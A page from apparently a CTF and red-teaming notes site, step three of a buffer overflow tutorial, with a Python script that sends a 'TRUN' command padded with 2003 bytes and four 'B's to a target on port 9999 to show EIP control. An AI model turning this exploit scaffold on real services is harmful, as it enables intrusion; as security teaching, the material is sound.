> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/buffer-overflow/step-3-overwriting-the-eip.md).

# Step 3: Overwriting the EIP

EIP=0x42424242

Once we learn the offset, we need to verify if we are able to control EIP. Write a script:

{% code title="eip.py" %}

```python
#!/usr/bin/python3
import sys, socket
from time import sleep

#--------Changeme--------#
                         #
host = "192.168.1.2"     #
port = 9999              #
                         #
#------------------------#

offset = 2003

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, port))

	payload = b""
	payload += b"TRUN /.:/"
	payload += b"A" * offset # Padding
	payload += b"B" * 4 # EIP

	s.send(payload)
	s.close()

except:
	print("Error connecting to server")
	sys.exit()
```

{% endcode %}

As expected, EIP becomes 0x42424242:

![EIP overwrite](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWVjG_njKgBtvmnKaJh%2F-MgHdZ9dE8NW6gfoWLPp%2F-MgHfdvI51dINkXQjAz4%2Fimage.png?alt=media\&token=09538dab-6a33-4d19-808e-64203d292474)